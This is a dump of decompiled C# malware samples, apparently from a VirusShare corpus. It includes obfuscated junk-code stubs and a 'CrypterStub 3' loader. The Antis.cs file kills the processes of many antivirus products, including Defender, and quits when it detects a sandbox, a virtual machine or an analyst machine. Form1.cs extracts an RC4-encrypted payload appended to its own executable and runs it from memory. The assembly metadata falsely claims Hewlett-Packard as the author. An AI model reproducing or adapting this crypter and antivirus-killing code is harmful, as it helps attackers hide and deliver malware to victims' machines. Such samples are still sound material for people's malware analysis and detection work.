+        int num9 = (int) MessageBox.Show("ŽN\u007FB>Rmx!/\\lŒ+8…v#Vj9,E0:H'nŠ#„r8gJ^}‡dk)E‚$ŠItD \u0081‘a.HtAY„&ˆJ’€\u0090=|SDsl(‚Q}`‡=@9ƒfvn)$Cd‚†($‹\u0081nA*X„y-ˆPcFy//Dz€$9k5BfCv‹\u008D8dQkh/!v[VNLZ+Ž62HCˆ3?(%$~?kLmyt‹~‡D‘‹pi.L{CQkq_9+TŽS#z‹[Kg}ƒHI€olSn7j89jmzyW");
+        flag = false;
+        num5 = 571634L;
+        num5 = 2480920L;
+        num5 = 9342330L;
+        num3 = 41676;
+        flag = false;
+        num8 = 48;
+        num1 = 32.0;
+        num5 = 800219297L;
+        num1 = 0.0;
+        while (true)
+          ;
+      }
+    }
+
+    public object tyiObV8nt4RjI()
+    {
+      int num1 = (int) MessageBox.Show("s\\rXxWy\u007F>0;MtM4„RH2@Pr))Œ9 y=f‹„’HNB<Fn$w‡PFA|\u008D\u0090TA„\\G@ Ri__W ak7JML’…g+m.[[Bv&lP%||D'Hk'M‚ey/`wFx.k…P\u008D+\u007F56M~xqnc†.Q7xG/vDe$E]aw5\\gNz *q\u0090.ƒ\u008D\u007FBn4");
+      int num2 = (int) MessageBox.Show("'b4'5+-FYz8?(‰Š\u0081’R\\R6g+hxjˆvh2=7-wrY,\u007Fz…{'y8r`9)P:}Q/MƒŽ)QOT8cƒh\u008D'Ž1BQt2jjj/\u0081†‰8P~EMG\u007F(s†wPnOFm760=ke(y’XjzXut,5[7#M=U@.’:=^ %uD\u0090R‹ph=fH%Fˆo%c\u00902j:38B?Œsƒ/lJ};‘S‡U[B{O`");
+      while (true)
+        ;
+    }
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-544f698f7c22960b3b19a4c10ae86a6e4347ce78cd4acda7323e2ae33d4dd1f1/y1mL7EFI309sMMsLD.cs

@@ -0,0 +1,70 @@
+// Decompiled with JetBrains decompiler
+// Type: google.y1mL7EFI309sMMsLD
+// Assembly: factory, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 6C269FFA-7C43-4E16-ABEF-8CC516D7ABAB
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.MSIL.MSILPack.a-544f698f7c22960b3b19a4c10ae86a6e4347ce78cd4acda7323e2ae33d4dd1f1.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+
+namespace google
+{
+  [StandardModule]
+  internal sealed class y1mL7EFI309sMMsLD
+  {
+    public static void D32ij5d4VqdZu2qYJ5lQE()
+    {
+      Decimal num1 = 179M;
+      num1 = 0M;
+      try
+      {
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        int num2 = (int) Interaction.MsgBox((object) ")4@‹^ -]AA†WR4LG@0d Pg>RJŽCHb}Dc‹BRc.2S+xjR@Bv2&ƒ(;[ƒwl_!X3$qt\u008DW\u0090C^/u|9-oX;y4‘0f|=XYb{s3i…ai‘OL#oŽC’8#C'‚-~J\\†K#G`:T<Tˆ4bJX‚:b.?,7)9m1NyŒQjT\u008FHjvZ^AQ5‹y;%.O");
+        ProjectData.ClearProjectError();
+      }
+    }
+
+    public static object h5I1eLv4G7rSEwO5()
+    {
+      try
+      {
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        int num = (int) Interaction.MsgBox((object) "_V'V„%9K\u0090wŽ5\u0090ye;t\u0090E‚‰HG#Pk]f~y%*q‹?N%!`y3pd$8‘jp];\u0090‚ef'6.$%8[f`7qƒW%Z76rO_o9vB}R!\u007F)b|6X*„(?!\u008FG=`/MFGZd6E%=R%Š€R~9f7n\\\u0090MZKL3Q‹5v'A/)H\u008FVŠOiv\\_wR3#iSzI0b#2 \u007F\u008F-QxMƒZJv{v)‚vn{%yS\u0081u‹9/{XMLŠr+ŠH/Y|‘„Hl$");
+        ProjectData.ClearProjectError();
+      }
+      int num1 = (int) Interaction.MsgBox((object) "J@_c$mG\\<q2)#‡A\u008FˆV-R$o~tr<„}3Pz|H=\u0081‚;‡Hqb6‚95&V‡o‡S6Š\u008DjnT~„z|]I~‰Isy&Qt!-O‚\u0081€d^ly\u008F-?\u0090d…Ne2MP#aˆ%\u007F$C\u007FEo\u0081=3R)[*|\u0081ƒ?7!\u007FP)€EWE3‡$C\u0090_Y}!|ArG).‚");
+      return (object) 41;
+    }
+
+    public static void jUNVctZzyWnH0o9531()
+    {
+      string str = "5v.7’U%zkKawtQm?:\u0090S,aE@=/.\u0081:ŽV‹\u008DaF‹H$FŽamGOyP\u008D?vx,x'PK?ƒUƒ'„f}~5Rf5MYE:†!„Q9ˆZ€4\u0081+U‚p„]6'(…4>*Ž‚[:G|w„<R„„%^\u008D%\u008DŽ#…\\H\u008FWa)’FQR&hŠ‰apn3#P\u0090\u0081‘\u007F~‘;!-Š1K'SZ_uxrw^~ }<.hKG>{’U";
+      try
+      {
+      }
+      catch (Exception ex1)
+      {
+        ProjectData.SetProjectError(ex1);
+        str = "ICPk0n0a85JhYQ4xWTbg5b4heE6C91z34w69l52rWNEL04H81l7ze35S";
+        try
+        {
+        }
+        catch (Exception ex2)
+        {
+          ProjectData.SetProjectError(ex2);
+          int num = (int) Interaction.MsgBox((object) "]{T2‡e#E`d;v}X†;\u008FK^Pƒa\\!\u008FH%bJG&Bt R}tmŽ08{y†Hl.AA\\5f4$Ž>S6__TŽ9]‹!|%)YAOM8({hkB9wA€1R.p‘W^AVOdw\u007F`HOkD<7#‡7y~\u008D3iz†F{3.(+}C~a]8} |T;:@;j‡Z)|<;G„$CˆZc){cqW=eGYml})7\u0090Jq‹H^<Q@)D~‚VR");
+          ProjectData.ClearProjectError();
+        }
+        ProjectData.ClearProjectError();
+      }
+      int num1 = (int) Interaction.MsgBox((object) "p:Š ƒ]v#iCM€O’3$JYFK`\u008FFj[ZLlM.‡sO$-\u0081@\u008FZ35E‡Œ#SmEk~+‹S†(t‡?XI0)i[NmQJ„DwM’25;'Mf'€' a\u008F?\\\u008FK\u008D V1.nL]I!BSF'qŒAp€lYkP[))(XRNˆNXIvŠ\u0081/*");
+    }
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-86b5b6e783a156097a459f36d7a6a980bf0741e79fecff2e4bf445ed2b2e7991/Antis.cs

@@ -0,0 +1,472 @@
+// Decompiled with JetBrains decompiler
+// Type: CrypterStub_3.Antis
+// Assembly: CrypterStub 3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8724580C-9406-4985-9EC0-E773CDF09143
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.MSIL.MSILPack.a-86b5b6e783a156097a459f36d7a6a980bf0741e79fecff2e4bf445ed2b2e7991.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Runtime.InteropServices;
+using System.Windows.Forms;
+
+namespace CrypterStub_3
+{
+  public class Antis
+  {
+    [DebuggerNonUserCode]
+    public Antis()
+    {
+    }
+
+    public static void Enable()
+    {
+      Antis.mofo();
+      Antis.AntiAntiGen();
+      Antis.AntiAsquared();
+      Antis.AntiAvast();
+      Antis.AntiAVG();
+      Antis.AntiBullGuard();
+      Antis.AntiClamAV();
+      Antis.AntiComodo();
+      Antis.AntiEstNod32();
+      Antis.AntiEwido();
+      Antis.AntiFPROT6();
+      Antis.AntiKaspersky();
+      Antis.AntiMcAfee();
+      Antis.AntiNorton();
+      Antis.AntiOfficeScan();
+      Antis.AntiOutPost();
+      Antis.AntiPCCillin();
+      Antis.AntiServerProtect();
+      Antis.AntiSpySweeper();
+      Antis.AntiThreatExpert();
+      Antis.AntiVirtualPC();
+      Antis.AntiZoneAlarm();
+    }
+
+    public static void AntiSandboxie(Form frmSelect)
+    {
+label_0:
+      int num1;
+      int num2;
+      try
+      {
+        ProjectData.ClearProjectError();
+        num1 = -2;
+label_1:
+        int num3 = 2;
+        if (!frmSelect.Text.Contains("#"))
+          goto label_9;
+label_2:
+        num3 = 3;
+        frmSelect.Close();
+        ProjectData.EndApp();
+        goto label_9;
+label_4:
+        num2 = num3;
+        switch (num1 > -2 ? num1 : 1)
+        {
+          case 1:
+            int num4 = num2 + 1;
+            num2 = 0;
+            switch (num4)
+            {
+              case 1:
+                goto label_0;
+              case 2:
+                goto label_1;
+              case 3:
+                goto label_2;
+              case 4:
+              case 5:
+              case 6:
+                goto label_9;
+            }
+            break;
+        }
+      }
+      catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
+      {
+        ProjectData.SetProjectError(ex);
+        goto label_4;
+      }
+      throw ProjectData.CreateProjectError(-2146828237);
+label_9:
+      if (num2 == 0)
+        return;
+      ProjectData.ClearProjectError();
+    }
+
+    public static void AntiMcAfee()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "mcagentmcuimgr", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiAVG()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "avgemc", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiAsquared()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "a2servic", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiAvast()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "ashWebSv", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiClamAV()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "clamauto", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiComodo()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "cpf", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiEwido()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "ewido", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiFPROT6()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "FPAVServer", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiKaspersky()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "kavsvc", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiBullGuard()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "BullGuard", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiZoneAlarm()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "VSMON", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiAntiGen()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "antigen", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiNorton()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "ccapp", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiOfficeScan()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "tmlisten", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiPCCillin()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "pccntmon", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiServerProtect()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "earthagent", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiSpySweeper()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "spysweeper", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiVirtualPC()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "vpcmapvmsrvc", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiOutPost()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "acs.exe", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    public static void AntiEstNod32()
+    {
+      Process[] processes = Process.GetProcesses();
+      int num = checked (processes.Length - 1);
+      int index = 0;
+      while (index <= num)
+      {
+        if (Operators.CompareString(Strings.LCase(processes[index].ProcessName), "nod32.exenod32krn.exeekrn.exe", false) == 0)
+          processes[index].Kill();
+        checked { ++index; }
+      }
+    }
+
+    [DllImport("user32", EntryPoint = "FindWindowA", CharSet = CharSet.Ansi, SetLastError = true)]
+    private static extern long FindWindow([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpClassName, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpWindowName);
+
+    public static void mofo()
+    {
+      Antis.seekit("MSASCui");
+      Antis.seekit("msmpeng");
+      Antis.AntiSandboxie();
+      Antis.IsVmWare();
+      Antis.AntiThreatExpert();
+      Antis.checkUsername();
+      Antis.checkComputername();
+    }
+
+    private static void seekit(string gay1)
+    {
+      Process[] processes = Process.GetProcesses();
+      int index = 0;
+      while (index < processes.Length)
+      {
+        Process process = processes[index];
+        if (process.ProcessName.Contains(gay1))
+        {
+          try
+          {
+            process.Kill();
+          }
+          catch (Exception ex)
+          {
+            ProjectData.SetProjectError(ex);
+            ProjectData.ClearProjectError();
+          }
+        }
+        checked { ++index; }
+      }
+    }
+
+    private static void checkUsername()
+    {
+      List<string> stringList = new List<string>();
+      stringList.Add("UserName");
+      stringList.Add("User");
+      stringList.Add("honey");
+      stringList.Add("sandbox");
+      stringList.Add("currentuser");
+      stringList.Add("User");
+      try
+      {
+        foreach (string Right in stringList)
+        {
+          if (Operators.CompareString(Environment.UserName, Right, false) == 0)
+            Environment.Exit(0);
+        }
+      }
+      finally
+      {
+        List<string>.Enumerator enumerator;
+        enumerator.Dispose();
+      }
+    }
+
+    private static void checkComputername()
+    {
+      List<string> stringList = new List<string>();
+      stringList.Add("ComputerName");
+      stringList.Add("COMPUTERNAME");
+      stringList.Add("DELL-D3E62F7E26");
+      stringList.Add("DWI-9625AC2E275");
+      stringList.Add("MICHAEL-F156CF7");
+      try
+      {
+        foreach (string Right in stringList)
+        {
+          if (Operators.CompareString(Environment.MachineName, Right, false) == 0)
+            Environment.Exit(0);
+        }
+      }
+      finally
+      {
+        List<string>.Enumerator enumerator;
+        enumerator.Dispose();
+      }
+    }
+
+    public static void AntiSandboxie()
+    {
+      if (Process.GetProcessesByName("SbieSvc").Length < 1)
+        return;
+      Environment.Exit(0);
+    }
+
+    public static void IsVmWare()
+    {
+      string str1 = "VMDragDetectWndClass";
+      ref string local1 = ref str1;
+      string str2 = (string) null;
+      ref string local2 = ref str2;
+      if (Antis.FindWindow(ref local1, ref local2) != 0L)
+        return;
+      Environment.Exit(0);
+    }
+
+    private static void AntiThreatExpert()
+    {
+      if (!Process.GetCurrentProcess().MainModule.FileName.Contains("sample"))
+        return;
+      Environment.Exit(0);
+    }
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-86b5b6e783a156097a459f36d7a6a980bf0741e79fecff2e4bf445ed2b2e7991/AssemblyInfo.cs

@@ -0,0 +1,13 @@
+using System.Reflection;
+using System.Runtime.InteropServices;
+
+[assembly: AssemblyProduct("CrypterStub 3")]
+[assembly: AssemblyDescription("")]
+[assembly: AssemblyTitle("CrypterStub 3")]
+[assembly: AssemblyCompany("Hewlett-Packard")]
+[assembly: Guid("c219cd53-5179-42e0-bb74-5b297c74ecd1")]
+[assembly: AssemblyCopyright("Copyright © Hewlett-Packard 2010")]
+[assembly: AssemblyFileVersion("1.0.0.0")]
+[assembly: ComVisible(false)]
+[assembly: AssemblyTrademark("")]
+[assembly: AssemblyVersion("1.0.0.0")]

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-86b5b6e783a156097a459f36d7a6a980bf0741e79fecff2e4bf445ed2b2e7991/Form1.cs

@@ -0,0 +1,152 @@
+// Decompiled with JetBrains decompiler
+// Type: CrypterStub_3.Form1
+// Assembly: CrypterStub 3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8724580C-9406-4985-9EC0-E773CDF09143
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.MSIL.MSILPack.a-86b5b6e783a156097a459f36d7a6a980bf0741e79fecff2e4bf445ed2b2e7991.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Drawing;
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Text;
+using System.Threading;
+using System.Windows.Forms;
+
+namespace CrypterStub_3
+{
+  [DesignerGenerated]
+  public class Form1 : Form
+  {
+    private IContainer components;
+
+    [DebuggerNonUserCode]
+    public Form1()
+    {
+      this.Load += new EventHandler(this.Form1_Load);
+      this.InitializeComponent();
+    }
+
+    [DebuggerNonUserCode]
+    protected override void Dispose(bool disposing)
+    {
+      try
+      {
+        if (!disposing || this.components == null)
+          return;
+        this.components.Dispose();
+      }
+      finally
+      {
+        base.Dispose(disposing);
+      }
+    }
+
+    [DebuggerStepThrough]
+    private void InitializeComponent()
+    {
+      this.SuspendLayout();
+      this.AutoScaleDimensions = new SizeF(6f, 13f);
+      this.AutoScaleMode = AutoScaleMode.Font;
+      this.ClientSize = new Size(10, 10);
+      this.FormBorderStyle = FormBorderStyle.None;
+      this.MaximizeBox = false;
+      this.MinimizeBox = false;
+      this.Name = nameof (Form1);
+      this.Opacity = 0.0;
+      this.ShowIcon = false;
+      this.ShowInTaskbar = false;
+      this.StartPosition = FormStartPosition.Manual;
+      this.ResumeLayout(false);
+    }
+
+    private byte[] StringToByteArray(string str) => new ASCIIEncoding().GetBytes(str);
+
+    private void RunFromMemory(byte[] bytes)
+    {
+      Assembly assembly = Assembly.Load(bytes);
+      MethodInfo entryPoint = assembly.EntryPoint;
+      object objectValue = RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(assembly.CreateInstance(entryPoint.Name))));
+      entryPoint.Invoke(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(objectValue))), new object[1]
+      {
+        (object) new string[1]{ "1" }
+      });
+    }
+
+    public static byte[] RC4EnDeCrypt(byte[] plaintxt, byte[] password)
+    {
+      byte[] numArray = new byte[checked (plaintxt.Length + 1)];
+      int[] sbox = new int[257];
+      int index1 = 0;
+      int index2 = 0;
+      Form1.RC4Initialize(password, ref sbox);
+      int num1 = checked (plaintxt.Length - 1);
+      int index3 = 0;
+      while (index3 <= num1)
+      {
+        index1 = checked (index1 + 1) % 256;
+        index2 = checked (index2 + sbox[index1]) % 256;
+        int num2 = sbox[index1];
+        sbox[index1] = sbox[index2];
+        sbox[index2] = num2;
+        int num3 = sbox[checked (sbox[index1] + sbox[index2]) % 256];
+        plaintxt[index3] = (byte) ((int) plaintxt[index3] ^ (int) Convert.ToByte(num3));
+        checked { ++index3; }
+      }
+      return plaintxt;
+    }
+
+    protected static void RC4Initialize(byte[] key, ref int[] sbox)
+    {
+      int length = key.Length;
+      int index1 = 0;
+      do
+      {
+        sbox[index1] = index1;
+        checked { ++index1; }
+      }
+      while (index1 <= (int) byte.MaxValue);
+      int index2 = 0;
+      int index3 = 0;
+      do
+      {
+        index2 = checked (index2 + sbox[index3] + (int) key[unchecked (index3 % length)]) % 256;
+        int num = sbox[index3];
+        sbox[index3] = sbox[index2];
+        sbox[index2] = num;
+        checked { ++index3; }
+      }
+      while (index3 <= (int) byte.MaxValue);
+    }
+
+    private void Form1_Load(object sender, EventArgs e)
+    {
+      string Delimiter = "~~||$CyCrYpTeR$||~~";
+      FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read);
+      string Expression = Strings.Space(checked ((int) FileSystem.LOF(1)));
+      FileSystem.FileGet(1, ref Expression);
+      FileSystem.FileClose(1);
+      try
+      {
+        string[] strArray = Strings.Split(Expression, Delimiter);
+        string s = strArray[1];
+        byte[] bytes = Encoding.ASCII.GetBytes(strArray[2]);
+        if (Operators.CompareString(strArray[3], "true", false) == 0)
+          Antis.Enable();
+        byte[] parameter = Form1.RC4EnDeCrypt(Convert.FromBase64String(s), bytes);
+        Thread thread = new Thread((ParameterizedThreadStart) (a0 => this.RunFromMemory((byte[]) a0)));
+        thread.TrySetApartmentState(ApartmentState.STA);
+        thread.Start((object) parameter);
+        this.Close();
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        ProjectData.ClearProjectError();
+      }
+    }
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-86b5b6e783a156097a459f36d7a6a980bf0741e79fecff2e4bf445ed2b2e7991/Form1.resx

@@ -0,0 +1,120 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <!-- 
+    Microsoft ResX Schema 
+    
+    Version 2.0
+    
+    The primary goals of this format is to allow a simple XML format 
+    that is mostly human readable. The generation and parsing of the 
+    various data types are done through the TypeConverter classes 
+    associated with the data types.
+    
+    Example:
+    
+    ... ado.net/XML headers & schema ...
+    <resheader name="resmimetype">text/microsoft-resx</resheader>
+    <resheader name="version">2.0</resheader>
+    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+        <value>[base64 mime encoded serialized .NET Framework object]</value>
+    </data>
+    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
+        <comment>This is a comment</comment>
+    </data>
+                
+    There are any number of "resheader" rows that contain simple 
+    name/value pairs.
+    
+    Each data row contains a name, and value. The row also contains a 
+    type or mimetype. Type corresponds to a .NET class that support 
+    text/value conversion through the TypeConverter architecture. 
+    Classes that don't support this are serialized and stored with the 
+    mimetype set.
+    
+    The mimetype is used for serialized objects, and tells the 
+    ResXResourceReader how to depersist the object. This is currently not 
+    extensible. For a given mimetype the value must be set accordingly:
+    
+    Note - application/x-microsoft.net.object.binary.base64 is the format 
+    that the ResXResourceWriter will generate, however the reader can 
+    read any of the formats listed below.
+    
+    mimetype: application/x-microsoft.net.object.binary.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
+            : and then encoded with base64 encoding.
+    
+    mimetype: application/x-microsoft.net.object.soap.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+            : and then encoded with base64 encoding.
+
+    mimetype: application/x-microsoft.net.object.bytearray.base64
+    value   : The object must be serialized into a byte array 
+            : using a System.ComponentModel.TypeConverter
+            : and then encoded with base64 encoding.
+    -->
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="metadata">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" />
+              </xsd:sequence>
+              <xsd:attribute name="name" use="required" type="xsd:string" />
+              <xsd:attribute name="type" type="xsd:string" />
+              <xsd:attribute name="mimetype" type="xsd:string" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="assembly">
+            <xsd:complexType>
+              <xsd:attribute name="alias" type="xsd:string" />
+              <xsd:attribute name="name" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+  <resheader name="resmimetype">
+    <value>text/microsoft-resx</value>
+  </resheader>
+  <resheader name="version">
+    <value>2.0</value>
+  </resheader>
+  <resheader name="reader">
+    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <resheader name="writer">
+    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+</root>

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-86b5b6e783a156097a459f36d7a6a980bf0741e79fecff2e4bf445ed2b2e7991/My/MyApplication.cs

@@ -0,0 +1,48 @@
+// Decompiled with JetBrains decompiler
+// Type: CrypterStub_3.My.MyApplication
+// Assembly: CrypterStub 3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8724580C-9406-4985-9EC0-E773CDF09143
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.MSIL.MSILPack.a-86b5b6e783a156097a459f36d7a6a980bf0741e79fecff2e4bf445ed2b2e7991.exe
+
+using Microsoft.VisualBasic.ApplicationServices;
+using System;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Windows.Forms;
+
+namespace CrypterStub_3.My
+{
+  [EditorBrowsable(EditorBrowsableState.Never)]
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  internal class MyApplication : WindowsFormsApplicationBase
+  {
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    [DebuggerHidden]
+    [STAThread]
+    internal static void Main(string[] Args)
+    {
+      try
+      {
+        Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering);
+      }
+      finally
+      {
+      }
+      MyProject.Application.Run(Args);
+    }
+
+    [DebuggerStepThrough]
+    public MyApplication()
+      : base(AuthenticationMode.Windows)
+    {
+      this.IsSingleInstance = false;
+      this.EnableVisualStyles = true;
